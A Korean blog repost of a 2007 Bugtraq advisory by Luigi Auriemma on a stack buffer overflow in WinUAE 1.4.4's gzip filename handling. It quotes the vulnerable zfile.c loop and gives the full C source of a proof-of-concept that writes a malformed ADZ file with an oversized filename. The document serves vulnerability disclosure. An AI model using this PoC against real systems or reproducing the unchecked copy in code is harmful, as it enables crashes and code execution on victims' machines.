본문 바로가기

Securities/SecurityFocus Vulnerabilities

Bugtraq: Buffer-overflow in WinUAE 1.4.4

Buffer-overflow in WinUAE 1.4.4 Dec 21 2007 07:00PM
Luigi Auriemma (aluigi autistici org)


WinUAE 1.4.4 버전의 버퍼오버플로우.
이 프로그램은 윈도우용 Amiga emulator로 꽤 유명한 프로그램.

Luigi Auriemma는 이 프로그램이 보안버그를 찾아냈다고 한다.
윈도우용 WinUAE는 다양한 압축된 플로피디스크 이미지를 제공한다는데,
Gzip의 경우 내부함수인 zfile_gunzip을 호출해 핸들링되는데,
이 함수는 스택 버퍼가 1000(MAX_DPATH)바이트를 가진다.
파일의 이름을 버퍼로 옮기는 과정에서 길이를 체크하지 않아서,
이를 이용해 버퍼오버플로우를 일으켜, exploit 을 만들수 있다.



#######################################################################

Luigi Auriemma

Application: WinUAE
http://www.winuae.net
Versions: <= 1.4.4
Platforms: Windows
Bug: buffer-overflow
Exploitation: local
Date: 21 Dec 2007
Author: Luigi Auriemma
e-mail: aluigi (at) autistici (dot) org [email concealed]
web: aluigi.org

#######################################################################

1) Introduction
2) Bug
3) The Code
4) Fix

#######################################################################

===============
1) Introduction
===============

WinUAE is the most known and used Amiga emulator for Windows.

A note about this advisory:
UAE (and consequently WinUAE) is affected by some design bugs which
introduce other security problems (as pointed by the same developer)
so I focused only on the following non-design security bug.

#######################################################################

======
2) Bug
======

WinUAE supports various types of compressed floppy disk images.
Gzip compression (images with gz, adz, roz and hdz extensions) is
handled by an internal function called zfile_gunzip in which is used a
stack buffer of 1000 (MAX_DPATH) bytes for including the name of the
file available in the gzipped archive.
The instructions which copy the name from the archive to the buffer
don't check it's length allowing an attacker to exploit the subsequent
buffer-overflow for executing malicious code.

From zfile.c:

struct zfile *zfile_gunzip (struct zfile *z)
{
uae_u8 header[2 + 1 + 1 + 4 + 1 + 1];
z_stream zs;
int i, size, ret, first;
uae_u8 flags;
long offset;
char name[MAX_DPATH];
uae_u8 buffer[8192];
...
do {
zfile_fread (name + i, 1, 1, z);
} while (name[i++]);
...
이 부분이 작성자가 알아낸 부분으로, zfile.c 코드안에 문제의
MAX_DPATH 부분이 보인다.
#######################################################################

===========
3) The Code
===========

http://aluigi.org/poc/winuaebof.zip
작성자가 만든 소스와 실행 파일이 들어있다.
소스는 아래에 인용해서 붙였다.
실행파일은 컴파일만 하면되니,
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
#define VER     "0.1"
#define BOFSZ   10000   // 1000 + 8192 + the rest
#define BUFFSZ  (BOFSZ + 32)
#define u8      unsigned char
 
int putsc(u8 *data, int chr, int len);
int putxx(u8 *data, unsigned num, int bits);
void std_err(void);
 
int main(int argc, char *argv[]) {
    FILE    *fd;
    u8      *fname,
            *buff,
            *p;
    setbuf(stdout, NULL);
    fputs("\n"
        "WinUAE <= 1.4.4 gunzip buffer-overflow "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);
    if(argc < 2) {
        printf("\n"
            "Usage: %s <output.ADZ>\n"
            "\n", argv[0]);
        exit(1);
    }
    fname = argv[1];
    buff = malloc(BUFFSZ);
    if(!buff) std_err();
    p = buff;
    p += putxx(p, 0x1f,     8);     // header[0]
    p += putxx(p, 0x8b,     8);     // header[1]
    p += putxx(p, 0x00,     8);     // header[2]
    p += putxx(p, 0x08,     8);     // flags
    p += putsc(p, 0x00,     6);     // rest of the header
    p += putsc(p, 'A',      BOFSZ); // filename buffer-overflow
    p += putxx(p, 0,        8);     // NULL byte delimiter
    p += putxx(p, -1,       32);    // force the return
    printf("- create file %s\n", fname);
    fd = fopen(fname, "wb");
    if(!fd) std_err();
    fwrite(buff, 1, p - buff, fd);
    fclose(fd);
    free(buff);
    printf("- done\n");
    return(0);
}
 
int putsc(u8 *data, int chr, int len) {
    memset(data, chr, len);
    return(len);
}
 
int putxx(u8 *data, unsigned num, int bits) {
    int     i,
            bytes;
    bytes = bits >> 3;
    for(i = 0; i < bytes; i++) {
        data[i] = (num >> (i << 3)) & 0xff;
    }
    return(bytes);
}
 
void std_err(void) {
    perror("\nError");
    exit(1);
}

#######################################################################

======
4) Fix
======

Version 1.4.5

#######################################################################
사용자 삽입 이미지

---
Luigi Auriemma
http://aluigi.org